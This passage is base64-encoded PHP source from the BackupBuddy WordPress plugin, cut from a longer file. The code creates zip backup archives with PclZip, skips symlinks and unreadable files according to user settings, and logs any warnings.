2V0X2lnbm9yZV9zeW1saW5rcygpICkgewoJCQkKCQkJCQkJLy8gV2FudCB0byBub3QgZm9sbG93IHN5bWxpbmtzIHNvIHNldCBmbGFnIGZvciBsYXRlciB1c2UKCQkJCQkJJHppcF9pZ25vcmluZ19zeW1saW5rcyA9IHRydWU7CgkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnWmlwIGFyY2hpdmUgY3JlYXRpb24gc3ltYm9saWMgbGlua3Mgd2lsbCBiZSBpZ25vcmVkIGJhc2VkIG9uIHNldHRpbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCgkJCQkJfSBlbHNlIHsKCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBhcmNoaXZlIGNyZWF0aW9uIHN5bWJvbGljIGxpbmtzIHdpbGwgbm90IGJlIGlnbm9yZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCQl9CgkJCQoJCQkJCS8vIENoZWNrIGlmIHdlIGFyZSBpZ25vcmluZyB3YXJuaW5ncyAtIG1lYW5pbmcgY2FuIHN0aWxsIGdldCBhIGJhY2t1cCBldmVuCgkJCQkJLy8gaWYsIGUuZy4sIHNvbWUgZmlsZXMgY2Fubm90IGJlIHJlYWQKCQkJCQlpZiAoIHRydWUgPT09ICR0aGlzLT5nZXRfaWdub3JlX3dhcm5pbmdzKCkgKSB7CgkJCQkKCQkJCQkJLy8gTm90ZTogd2FybmluZ3MgYXJlIGJlaW5nIGlnbm9yZWQgYnV0IHdpbGwgc3RpbGwgYmUgZ2F0aGVyZWQgYW5kIGxvZ2dlZAoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiBhY3Rpb25hYmxlIHdhcm5pbmdzIHdpbGwgYmUgaWdub3JlZCBiYXNlZCBvbiBzZXR0aW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgYXJjaGl2ZSBjcmVhdGlvbiBhY3Rpb25hYmxlIHdhcm5pbmdzIHdpbGwgbm90IGJlIGlnbm9yZWQgYmFzZWQgb24gc2V0dGluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCQl9CgkJCQkKCQkJCQkvLyBVc2UgYW5vbnltb3VzIGZ1bmN0aW9uIHRvIHdlZWQgb3V0IHRoZSB1bnJlYWRhYmxlIGFuZCBub24tZXhpc3RlbnQgZmlsZXMgKGNvbW1vbiByZWFzb24gZm9yIGZhaWx1cmUpCgkJCQkJLy8gYW5kIHBvc3NpYmx5IHN5bWxpbmtzIGJhc2VkIG9uIHVzZXIgc2V0dGluZ3MuCgkJCQkJLy8gUGNsWmlwIHdpbGwgcmVjb3JkIHRoZXNlIGZpbGVzIGFzICdza2lwcGVkJyBpbiB0aGUgZmlsZSBzdGF0dXMgYW5kIHdlIGNhbiBwb3N0LXByb2Nlc3MgdG8gZGV0ZXJtaW5lCgkJCQkJLy8gaWYgd2UgaGFkIGFueSBvZiB0aGVzZSBhbmQgaGVuY2UgZWl0aGVyIHN0b3AgdGhlIGJhY2t1cCBvciBjb250aW51ZSBkZXBlbmRlbnQgb24gd2hldGhlciB0aGUgdXNlcgoJCQkJCS8vIGhhcyBjaG9zZW4gdG8gaWdub3JlIHdhcm5pbmdzIG9yIG5vdCBhbmQvb3IgaWdub3JlIHN5bWxpbmtzIG9yIG5vdC4KCQkJCQkvLyBVbmZvcnR1bmF0ZWx5IHdlIGNhbm5vdCBkaXJlY3RseSB0YWcgdGhlIGZpbGUgd2l0aCB0aGUgcmVhc29uIHdoeSBpdCBoYXMgYmVlbiBza2lwcGVkIHNvIHdoZW4gd2UKCQkJCQkvLyBoYXZlIHRvIHByb2Nlc3MgdGhlIHNraXBwZWQgaXRlbXMgd2UgaGF2ZSB0byB0cnkgYW5kIHdvcmsgb3V0IHdoeSBpdCB3YXMgc2tpcHBlZCAtIGJ1dCBzaG91bGRuJ3QKCQkJCQkvLyBiZSB0b28gaGFyZC4KCQkJCQkvLyBUT0RPOiBDb25zaWRlciBtb3ZpbmcgdGhpcyBpbnRvIHRoZSBQY2xaaXAgd3JhcHBlciBhbmQgaGF2ZSBhIG1ldGhvZCB0byBzZXQgdGhlIHZhcmlvdXMgcHJlL3Bvc3QKCQkJCQkvLyBmdW5jdGlvbnMgb3Igc2VsZWN0IHByZWRlZmluZWQgZnVuY3Rpb25zIChzdWNoIGFzIHRoaXMpLgoJCQkJCWlmICggdHJ1ZSApIHsKCQkJCQoJCQkJCQkvLyBOb3RlOiBUaGlzIGNvdWxkIGJlIHNpbXBsaWZpZWQgLSBpdCdzIHdyaXR0ZW4gdG8gYmUgZXh0ZW5zaWJsZSBidXQgbWF5IG5vdCBuZWVkIHRvIGJlCgkJCQkJCSRhcmdzID0gJyRldmVudCwgJiRoZWFkZXInOwoJCQkJCQkkY29kZSA9ICcnOwoJCQkJCQkkY29kZSAuPSAnc3RhdGljICRzeW1saW5rcyA9IGFycmF5KCk7ICc7CgkJCQkJCSRjb2RlIC49ICckcmVzdWx0ID0gdHJ1ZTsgJzsKCQkJCQkKCQkJCQkJLy8gSGFuZGxlIHN5bWxpbmtzIC0ga2VlcCB0aGUgdHdvIGNhc2VzIG9mIGlnbm9yaW5nL25vdC1pZ25vcmluZyBzZXBhcmF0ZSBmb3Igbm93IHRvIG1ha2UgbG9naWMgbW9yZQoJCQkJCQkvLyBhcHBhcmVudCAtIGJ1dCBjb3VsZCBiZSBtZXJnZWQgd2l0aCBkaWZmZXJlbnQgY29uZGl0aW9uYWwgaGFuZGxpbmcKCQkJCQkJLy8gRm9yIGEgdmFsaWQgc3ltbGluazogaXNfbGluaygpIC0+IHRydWU7IGlzX2ZpbGUoKS9pc19kaXIoKSAtPiB0cnVlOyBmaWxlX2V4aXN0cygpIC0+IHRydWUKCQkJCQkJLy8gRm9yIGEgYnJva2VuIHN5bWxpbms6IGlzX2xpbmsoKSAtPiB0cnVlOyBpc19maWxlKCkvaXNfZGlyKCkgLT4gZmFsc2U7IGZpbGVfZXhpc3RzKCkgLT4gZmFsc2UKCQkJCQkJLy8gTm90ZTogcGNsemlwIGZpcnN0IHRlc3RzIGV2ZXJ5IGZpbGUgdXNpbmcgZmlsZV9leGlzdHMoKSBiZWZvcmUgZXZlciB0cnlpbmcgdG8gYWRkIHRoZSBmaWxlIHNvCgkJCQkJCS8vIGZvciBhIGJyb2tlbiBzeW1saW5rIGl0IHdpbGwgX2Fsd2F5c18gZXJyb3Igb3V0IGltbWVkaWF0ZWx5IGl0IGRpc2NvdmVycyBhIGJyb2tlbiBzeW1saW5rIHNvCgkJCQkJCS8vIHdlIG5ldmVyIGhhdmUgYSBjaGFuY2UgdG8gZmlsdGVyIHRoZXNlIG91dCBhdCB0aGlzIHN0YWdlLgoJCQkJCQlpZiAoIHRydWUgPT09ICR6aXBfaWdub3Jpbmdfc3ltbGlua3MgKSB7CgkJCQkJCgkJCQkJCQkvLyBJZiBpdCdzIGEgc3ltbGluayBvciBpdCdzIG5laXRoZXIgYSBmaWxlIG5vciBhIGRpcmVjdG9yeSB0aGVuIGlnbm9yZSBpdC4gQSBicm9rZW4gc3ltbGluawoJCQkJCQkJLy8gd2lsbCBuZXZlciBnZXQgdGhpcyBmYXIgYmVjYXVzZSBwY2x6aXAgd2lsbCBoYXZlIGNob2tlZCBvbiBpdAoJCQkJCQkJJGNvZGUgLj0gJ2lmICggKCB0cnVlID09PSAkcmVzdWx0ICkgJiYgISggQGlzX2xpbmsoICRoZWFkZXJbXCdmaWxlbmFtZVwnXSApICkgKSB7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgIGlmICggQGlzX2ZpbGUoICRoZWFkZXJbXCdmaWxlbmFtZVwnXSApIHx8IEBpc19kaXIoICRoZWFkZXJbXCdmaWxlbmFtZVwnXSApICkgeyAnOwoJCQkJCQkJJGNvZGUgLj0gJyAgICAgICAgJHJlc3VsdCA9IHRydWU7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgICAgICBmb3JlYWNoICggJHN5bWxpbmtzIGFzICRwcmVmaXggKSB7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgICAgICAgICAgaWYgKCAhKCBmYWxzZSA9PT0gc3RycG9zKCAkaGVhZGVyW1wnZmlsZW5hbWVcJ10sICRwcmVmaXggKSApICkgeyAnOwoJCQkJCQkJJGNvZGUgLj0gJyAgICAgICAgICAgICAgICAkcmVzdWx0ID0gZmFsc2U7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgICAgICAgICAgICAgIGJyZWFrOyAnOwoJCQkJCQkJJGNvZGUgLj0gJyAgICAgICAgICAgICB9ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgICAgICB9ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgIH0gZWxzZSB7ICc7Ci8vCQkJCQkJCSRjb2RlIC49ICcgICAgICAgIGVycm9yX2xvZyggIk5laXRoZXIgYSBmaWxlIG5vciBhIGRpcmVjdG9yeSAoaWdub3JpbmcpOiBcJyIgLiAkaGVhZGVyW1wnZmlsZW5hbWVcJ10gLiAiXCciICk7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgICAgICAkcmVzdWx0ID0gZmFsc2U7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgIH0gJzsKCQkJCQkJCSRjb2RlIC49ICd9IGVsc2UgeyAnOwovLwkJCQkJCQkkY29kZSAuPSAnICAgIGVycm9yX2xvZyggIkZpbGUgaXMgYSBzeW1saW5rIChpZ25vcmluZyk6IFwnIiAuICRoZWFkZXJbXCdmaWxlbmFtZVwnXSAuICJcJyIgKTsgJzsKCQkJCQkJCSRjb2RlIC49ICcgICAgJHN5bWxpbmtzW10gPSAkaGVhZGVyW1wnZmlsZW5hbWVcJ107ICc7Ci8vCQkJCQkJCSRjb2RlIC49ICcgICAgZXJyb3JfbG9nKCAiU3ltbGlua3MgQXJyYXk6IFwnIiAuIHByaW50X3IoICRzeW1saW5rcywgdHJ1ZSApIC4gIlwnIiApOyAnOwoJCQkJCQkJJGNvZGUgLj0gJyAgICAkcmVzdWx0ID0gZmFsc2U7ICc7CgkJCQkJCQkkY29kZSAuPSAnfSAnOwoJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJCS8vIElmIGl0J3MgbmVpdGhlciBhIGZpbGUgbm9yIGRpcmVjdG9yeSB0aGVuIGlnbm9yZSBpdCAtIGEgdmFsaWQgc3ltbGluayB3aWxsIHJlZ2lzdGVyIGFzIGEgZmlsZQoJCQkJCQkJLy8gb3IgZGlyZWN0b3J5IGRlcGVuZGVudCBvbiB3aGF0IGl0IGlzIHBvaW50aW5nIGF0LiBBIGJyb2tlbiBzeW1saW5rIHdpbGwgbmV2ZXIgZ2V0IHRoaXMgZmFyLgoJCQkJCQkJJGNvZGUgLj0gJ2lmICggKCB0cnVlID09PSAkcmVzdWx0ICkgJiYgKCBAaXNfZmlsZSggJGhlYWRlcltcJ2ZpbGVuYW1lXCddICkgfHwgQGlzX2RpciggJGhlYWRlcltcJ2ZpbGVuYW1lXCddICkgKSApIHsgJzsKCQkJCQkJCSRjb2RlIC49ICcgICAgJHJlc3VsdCA9IHRydWU7ICc7CgkJCQkJCQkkY29kZSAuPSAnfSBlbHNlIHsgJzsKLy8JCQkJCQkJJGNvZGUgLj0gJyAgICBlcnJvcl9sb2coICJOZWl0aGVyIGEgZmlsZSBub3IgYSBkaXJlY3RvcnkgKGlnbm9yaW5nKTogXCciIC4gJGhlYWRlcltcJ2ZpbGVuYW1lXCddIC4gIlwnIiApOyAnOwoJCQkJCQkJJGNvZGUgLj0gJyAgICAkcmVzdWx0ID0gZmFsc2U7ICc7CgkJCQkJCQkkY29kZSAuPSAnfSAnOwoJCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCQkvLyBBZGQgdGhlIGNvZGUgYmxvY2sgZm9yIGlnbm9yaW5nIHVucmVhZGFibGUgZmlsZXMKCQkJCQkJaWYgKCB0cnVlICkgewoJCQkJCQoJCQkJCQkJJGNvZGUgLj0gJ2lmICggKCB0cnVlID09PSAkcmVzdWx0ICkgJiYgKCBAaXNfcmVhZGFibGUoICRoZWFkZXJbXCdmaWxlbmFtZVwnXSApICkgKSB7ICc7CgkJCQkJCQkkY29kZSAuPSAnICAgICRyZXN1bHQgPSB0cnVlOyAnOwoJCQkJCQkJJGNvZGUgLj0gJ30gZWxzZSB7ICc7Ci8vCQkJCQkJCSRjb2RlIC49ICcgICAgZXJyb3JfbG9nKCAiRmlsZSBub3QgcmVhZGFibGU6IFwnIiAuICRoZWFkZXJbXCdmaWxlbmFtZVwnXSAuICJcJyIgKTsgJzsKCQkJCQkJCSRjb2RlIC49ICcgICAgJHJlc3VsdCA9IGZhbHNlOyAnOwoJCQkJCQkJJGNvZGUgLj0gJ30gJzsKCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCQkvLyBSZXR1cm4gdHJ1ZSAodG8gaW5jbHVkZSBmaWxlKSBpZiBmaWxlIHBhc3NlcyBjb25kaXRpb25zIG90aGVyd2lzZSBmYWxzZSAodG8gc2tpcCBmaWxlKSBpZiBub3QKCQkJCQkJJGNvZGUgLj0gJ3JldHVybiAoICggdHJ1ZSA9PT0gJHJlc3VsdCApID8gMSA6IDAgKTsgJzsKCgkJCQkJCSRwcmVfYWRkX2Z1bmMgPSBjcmVhdGVfZnVuY3Rpb24oICRhcmdzLCAkY29kZSApOwoJCQkJCgkJCQkJfQoJCQkJCgkJCQkJLy8gSWYgd2UgaGFkIGNhdXNlIHRvIGNyZWF0ZSBhIHByZSBhZGQgZnVuY3Rpb24gdGhlbiBhZGQgaXQgdG8gdGhlIGFyZ3VtZW50IGxpc3QgaGVyZQoJCQkJCWlmICggIWVtcHR5KCAkcHJlX2FkZF9mdW5jICkgKSB7CgkJCQkKCQkJCQkJYXJyYXlfcHVzaCggJGFyZ3VtZW50cywgUENMWklQX0NCX1BSRV9BREQsICRwcmVfYWRkX2Z1bmMgKTsKCQkKCQkJCQl9CgkJCQkKCQkJCQlpZiAoIEBmaWxlX2V4aXN0cyggJHppcCApICkgewoJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0V4aXN0aW5nIFpJUCBBcmNoaXZlIGZpbGUgd2lsbCBiZSByZXBsYWNlZC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCUB1bmxpbmsoICR6aXAgKTsKCQoJCQkJCX0KCQkJCQoJCQkJCS8vIGFkZCgpIG1ldGhvZCB3aWxsIGNyZWF0ZSBhcmNoaXZlIGZpbGUgaWYgaXQgZG9lc24ndCBhbGVhZHkgZXhpc3QKCQkJCQkvLyRjb21tYW5kID0gJ2FkZCc7CgkJCQkJJGNvbW1hbmQgPSAnZ3Jvdyc7CgoJCQkJCS8vIE5vdyBhY3R1YWxseSBjcmVhdGUgdGhlIHppcCBhcmNoaXZlIGZpbGUKCQkJCQkvLyBGaXJzdCBpbXBsb2RlIGFueSBlbWJlZGRlZCBhcnJheSBpbiB0aGUgYXJndW1lbnQgbGlzdCBhbmQgdHJ1bmNhdGUgdGhlIHJlc3VsdCBpZiB0b28gbG9uZwoJCQkJCS8vIEFzc3VtZSBubyBhcnJheXMgZW1iZWRkZWQgaW4gYXJyYXlzIC0gY3VycmVudGx5IG5vIHJlYXNvbiBmb3IgdGhhdAoJCQkJCS8vIFRPRE86IE1ha2UgdGhlIHN1bW1hcnkgbGVuZ3RoIGNvbmZpZ3VyYWJsZSBzbyB0aGF0IGNhbiBzZWUgbW9yZSBpZiByZXF1aXJlZAoJCQkJCS8vIFRPRE86IENvbnNpZGVyIG1hcHBpbmcgcGNsemlwIGFyZ3VtZW50IGlkZW50aWZpZXJzIHRvIHN0cmluZyByZXByZXNlbnRhdGlvbnMgZm9yIGNsYXJpdHkKCQkJCQkkYXJncyA9ICckaXRlbSc7CgkJCQkJJGNvZGUgPSAnaWYgKCBpc19hcnJheSggJGl0ZW0gKSApIHsgJHN0cmluZ19pdGVtID0gaW1wbG9kZSggIiwiLCAkaXRlbSk7IHJldHVybiAoICggc3RybGVuKCAkc3RyaW5nX2l0ZW0gKSA8PSA1MCApID8gJHN0cmluZ19pdGVtIDogIkxpc3Q6ICIgLiBzdWJzdHIoICRzdHJpbmdfaXRlbSwgMCwgNTAgKSAuICIuLi4iICk7IH0gZWxzZSB7IHJldHVybiAkaXRlbTsgfTsgJzsKCQkJCQkkaW1wbG9kZXJfZnVuYyA9IGNyZWF0ZV9mdW5jdGlvbiggJGFyZ3MsICRjb2RlICk7CgkJCQkJJGltcGxvZGVkX2FyZ3VtZW50cyA9IGFycmF5X21hcCggJGltcGxvZGVyX2Z1bmMsICRhcmd1bWVudHMgKTsKCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJHRoaXMtPmdldF9tZXRob2RfdGFnKCkgLiBfXyggJyBjb21tYW5kIGFyZ3VtZW50cycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gaW1wbG9kZSggJzsnLCAkaW1wbG9kZWRfYXJndW1lbnRzICkgKTsKCQkJCQoJCQkJCSRvdXRwdXQgPSBjYWxsX3VzZXJfZnVuY19hcnJheSggYXJyYXkoICYkemEsICRjb21tYW5kICksICRhcmd1bWVudHMgKTsKCQkJCQoJCQkJCS8vIFdvcmsgb3V0IHdoZXRoZXIgd2UgaGF2ZSBhIHByb2JsZW0gb3Igbm90CgkJCQkJaWYgKCBpc19hcnJheSggJG91dHB1dCApICkgewoJCQkJCgkJCQkJCS8vIEl0J3MgYW4gYXJyYXkgc28gYXQgbGVhc3Qgd2UgcHJvZHVjZWQgYSB6aXAgYXJjaGl2ZSAKCQkJCQkJJGV4aXRjb2RlID0gMDsKCQkJCQkKCQkJCQkJLy8gUHJvY2VzcyB0aGUgYXJyYXkgZm9yIGFueSAid2FybmluZ3MiIG9yIG90aGVyIHJlcG9ydGFibGUgY29uZGl0aW9ucwoJCQkJCQkkaWQgPSAwOyAvLyBDcmVhdGUgYSB1bmlxdWUga2V5IChsaWtlIGEgbGluZSBudW1iZXIpIGZvciBsYXRlciBzb3J0aW5nCgkJCQkJCWZvcmVhY2goICRvdXRwdXQgYXMgJGZpbGUgKSB7CgkJCQkJCgkJCQkJCQlzd2l0Y2ggKCAkZmlsZVsgJ3N0YXR1cycgXSApIHsKCQkJCQkJCQljYXNlICJza2lwcGVkIjoKCQkJCQkJCQoJCQkJCQkJCQkvLyBGaXJzdCBuZWVkIHRvIGZpbHRlciBvdXQgYW55IGZpbGVzIHNraXBwZWQgYmVjYXVzZSB1bmRlciBhIHN5bWxpbmsgZGlyCgkJCQkJCQkJCWZvcmVhY2ggKCAkc3ltbGlua3NfZm91bmQgYXMgJHByZWZpeCApIHsKCQkJCQkJCQkKCQkJCQkJCQkJCWlmICggISggZmFsc2UgPT09IHN0cnBvcyggJGZpbGVbICdmaWxlbmFtZScgXSwgJHByZWZpeCApICkgKSB7CgkJCQkJCQkJCQoJCQkJCQkJCQkJCSRpZCsrOwoJCQkJCQkJCQkJCS8vIGJyZWFrIG91dCBvZiB0aGUgZm9yZWFjaCBhbmQgdGhlIHN3aXRjaAoJCQkJCQkJCQkJCWJyZWFrIDI7CgkJCQkJCQkJCQkKCQkJCQkJCQkJCX0KCQkJCQkJCQkJCgkJCQkJCQkJCX0KCQkJCQkJCQkKCQkJCQkJCQkJLy8gRm9yIHNraXBwZWQgZmlsZXMgbmVlZCB0byBkZXRlcm1pbmUgd2h5IGl0IHdhcyBza2lwcGVkCgkJCQkJCQkJCWlmICggKCB0cnVlID09PSAkemlwX2lnbm9yaW5nX3N5bWxpbmtzICkgJiYgQGlzX2xpbmsoICRmaWxlWyAnZmlsZW5hbWUnIF0gKSApIHsKCQkJCQkJCQkKCQkJCQkJCQkJCS8vIFJlbWVtYmVyIHRoaXMgZm9yIGZpbHRlcmluZyBvdGhlciBmaWxlcyBza2lwcGVkIGJlY2F1c2UgaW4gc3ltbGluayBkaXJlY3RvcnkKCQkJCQkJCQkJCSRzeW1saW5rc19mb3VuZFtdID0gJGZpbGVbICdmaWxlbmFtZScgXTsKCQkJCQkJCQkJCgkJCQkJCQkJCQkvLyBTa2lwcGVkIGJlY2F1c2Ugd2UgYXJlIGlnbm9yaW5nIHN5bWxpbmtzIGFuZCB0aGlzIGlzIGEgc3ltbGluawoJCQkJCQkJCQkJJHppcF9vdGhlclsgc2VsZjo6WklQX09USEVSX0lHTk9SRURfU1lNTElOSyBdWyAkaWQrKyBdID0gJGZpbGVbICdmaWxlbmFtZScgXTsKCQkJCQkJCQkJCSR6aXBfb3RoZXJfY291bnQrKzsKCQkJCQkJCQkJCgkJCQkJCQkJCX0gZWxzZSB7CgkJCQkJCQkJCgkJCQkJCQkJCQkvL1NraXBwZWQgYmVjYXVzZSBwcm9iYWJseSB1bnJlYWRhYmxlIG9yIG5vbi1leGlzdGVudCAoY2F0Y2gtYWxsIGZvciBub3cpCgkJCQkJCQkJCQkkemlwX3dhcm5pbmdzWyBzZWxmOjpaSVBfV0FSTklOR19TS0lQUEVEIF1bICRpZCsrIF0gPSAkZmlsZVsgJ2ZpbGVuYW1lJyBdOwoJCQkJCQkJCQkJJHppcF93YXJuaW5nc19jb3VudCsrOwoJCQkJCQkJCQkKCQkJCQkJCQkJfQoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlICJmaWx0ZXJlZCI6CgkJCQkJCQkJCSR6aXBfd2FybmluZ3NbIHNlbGY6OlpJUF9PVEhFUl9GSUxURVJFRCBdWyAkaWQrKyBdID0gJGZpbGVbICdmaWxlbmFtZScgXTsKCQkJCQkJCQkJJHppcF93YXJuaW5nc19jb3VudCsrOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlICJmaWxlbmFtZV90b29fbG9uZyI6CgkJCQkJCQkJCSR6aXBfd2FybmluZ3NbIHNlbGY6OlpJUF9PVEhFUl9MT05HUEFUSCBdWyAkaWQrKyBdID0gJGZpbGVbICdmaWxlbmFtZScgXTsKCQkJCQkJCQkJJHppcF93YXJuaW5nc19jb3VudCsrOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQlkZWZhdWx0OgoJCQkJCQkJCQkvLyBDdXJyZW50bHkgbm90IHByb2Nlc3NpbmcgIm9rIiBlbnRyaWVzCgkJCQkJCQkJCSRpZCsrOwoJCQkJCQkJfQoJCQkJCQoJCQkJCQl9CgkJCQkJCgkJCQkJCS8vIE5vdyBmcmVlIHVwIHRoZSBtZW1vcnkuLi4KCQkJCQkJdW5zZXQoICRvdXRwdXQgKTsKCQkJCQkKCQkJCQkJLy8gU2V0IGNvbnZlbmllbmNlIGZsYWdzCQkJCgkJCQkJCSRoYXZlX3ppcF93YXJuaW5ncyA9ICggMCA8ICR6aXBfd2FybmluZ3NfY291bnQgKTsKCQkJCQkJJGhhdmVfemlwX290aGVyID0gKCAwIDwgJHppcF9vdGhlcl9jb3VudCApOwoJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCQkvLyBOb3QgYW4gYXJyYXkgc28gYSBiYWQgZXJyb3IgY29kZSwgc29tZXRoaW5nIHdlIGRpZG4ndCBvciBjb3VsZG4ndCBjYXRjaAoJCQkJCQkkZXhpdGNvZGUgPSAkemEtPmVycm9yQ29kZSgpOwoJCQkJCQoJCQkJCQkvLyBQdXQgdGhlIGVycm9yIGluZm9ybWF0aW9uIGludG8gYW4gYXJyYXkgZm9yIGNvbnNpc3RlbmN5CgkJCQkJCSR6aXBfZXJyb3JzW10gPSAkemEtPmVycm9ySW5mbyggdHJ1ZSApOwoJCQkJCQkkemlwX2Vycm9yc19jb3VudCA9IHNpemVvZiggJHppcF9lcnJvcnMgKTsKCQkJCQkJJGhhdmVfemlwX2Vycm9ycyA9ICggMCA8ICR6aXBfZXJyb3JzX2NvdW50ICk7CgkJCQkKCQkJCQl9CgkJCQkKCQkJCQkvLyBDb252ZW5pZW5jZSBmb3IgaGFuZGxpbmcgZGlmZmVyZW50IHNjYW5hcmlvcwoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQoJCQkJCS8vIEFsd2F5cyByZXBvcnQgdGhlIGV4aXQgY29kZSByZWdhcmRsZXNzIG9mIHdoZXRoZXIgd2UgbWlnaHQgaWdub3JlIGl0IG9yIG5vdAoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1ppcCBwcm9jZXNzIGV4aXQgY29kZTogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRleGl0Y29kZSApOwoJCgkJCQkJLy8gQWx3YXlzIHJlcG9ydCB0aGUgbnVtYmVyIG9mIHdhcm5pbmdzIC0gZXZlbiBqdXN0IHRvIGNvbmZpcm0gdGhhdCB3ZSBkaWRuJ3QgaGF2ZSBhbnkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXAgcHJvY2VzcyByZXBvcnRlZDogJTEkcyB3YXJuaW5nJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfd2FybmluZ3NfY291bnQsICggKCAxID09ICR6aXBfd2FybmluZ3NfY291bnQgKSA/ICcnIDogJ3MnICkgKSApOwoJCQkJCgkJCQkJLy8gQWx3YXlzIHJlcG9ydCB3YXJuaW5ncyByZWdhcmRsZXNzIG9mIHdoZXRoZXIgdXNlciBoYXMgc2VsZWN0ZWQgdG8gaWdub3JlIHRoZW0KCQkJCQlpZiAoIHRydWUgPT09ICRoYXZlX3ppcF93YXJuaW5ncyApIHsKCQkJCgkJCQkJCSR0aGlzLT5sb2dfemlwX3JlcG9ydHMoICR6aXBfd2FybmluZ3MsIHNlbGY6OiRfd2FybmluZ19kZXNjLCAiV0FSTklORyIsIHNlbGY6Ok1BWF9XQVJOSU5HX0xJTkVTX1RPX1NIT1csIGRpcm5hbWUoIGRpcm5hbWUoICR0ZW1wZGlyICkgKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAncGJfYmFja3VwYnVkZHknIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHNlbGY6OlpJUF9XQVJOSU5HU19GSUxFX05BTUUgKTsKCgkJCQkJfQoJCQkKCQkJCQkvLyBBbHdheXMgcmVwb3J0IG90aGVyIHJlcG9ydHMgcmVnYXJkbGVzcwoJCQkJCWlmICggdHJ1ZSA9PT0gJGhhdmVfemlwX290aGVyICkgewoJCQkKCQkJCQkJLy8gT25seSByZXBvcnQgbnVtYmVyIG9mIGluZm9ybWF0aW9uYWxzIGlmIHdlIGhhdmUgYW55IGFzIHRoZXkgYXJlIG5vdCB0aGF0IGltcG9ydGFudAoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXAgcHJvY2VzcyByZXBvcnRlZDogJTEkcyBpbmZvcm1hdGlvbiUyJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX290aGVyX2NvdW50LCAoICggMSA9PSAkemlwX290aGVyX2NvdW50ICkgPyAnYWwnIDogJ2FscycgKSApICk7CgoJCQkJCQkkdGhpcy0+bG9nX3ppcF9yZXBvcnRzKCAkemlwX290aGVyLCBzZWxmOjokX290aGVyX2Rlc2MsICJJTkZPUk1BVElPTiIsIHNlbGY6Ok1BWF9PVEhFUl9MSU5FU19UT19TSE9XLCBkaXJuYW1lKCBkaXJuYW1lKCAkdGVtcGRpciApICkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3BiX2JhY2t1cGJ1ZGR5JyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzZWxmOjpaSVBfT1RIRVJTX0ZJTEVfTkFNRSApOwoKCQkJCQl9CgkJCQoJCQkJCS8vIFNlZSBpZiB3ZSBjYW4gZmlndXJlIG91dCB3aGF0IGhhcHBlbmVkCgkJCQkJLy8gTm90ZTogb25seSBleHBlY3QgZXhpdGNvZGUgdG8gYmUgbm9uLXplcm8gZm9yIGFuIGVycm9yIHdlIGNvdWxkbid0IHByZS1lbXB0CgkJCQkJLy8gTm90ZTogd2FybmluZ3Mgd2lsbCBjYXVzZSB0aGUgb3BlcmF0aW9uIHRvIGJlIHN0b3BwZWQgaWYgdXNlciBoYXNuJ3QgY2hvc2VuIHRvIGlnbm9yZSByZWdhcmRsZXNzCgkJCQkJLy8gb2Ygd2hldGhlciB3ZSBnb3QgYSB6aXAgZmlsZSAod2hpY2ggd2UgbW9zdCBsaWtlbHkgZGlkKS4KCQkJCQkvLyBOb3RlOiBhIG5vbi16ZXJvIGV4aXRjb2RlIGFuZCBwcmVzZW5jZSBvZiB3YXJuaW5ncyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlCgkJCQkJaWYgKCAoICEgQGZpbGVfZXhpc3RzKCAkdGVtcF96aXAgKSApIHx8CgkJCQkJCSAoIDAgIT0gJGV4aXRjb2RlICkgfHwKCQkJCQkJICggKCB0cnVlID09ICRoYXZlX3ppcF93YXJuaW5ncyApICYmICEkdGhpcy0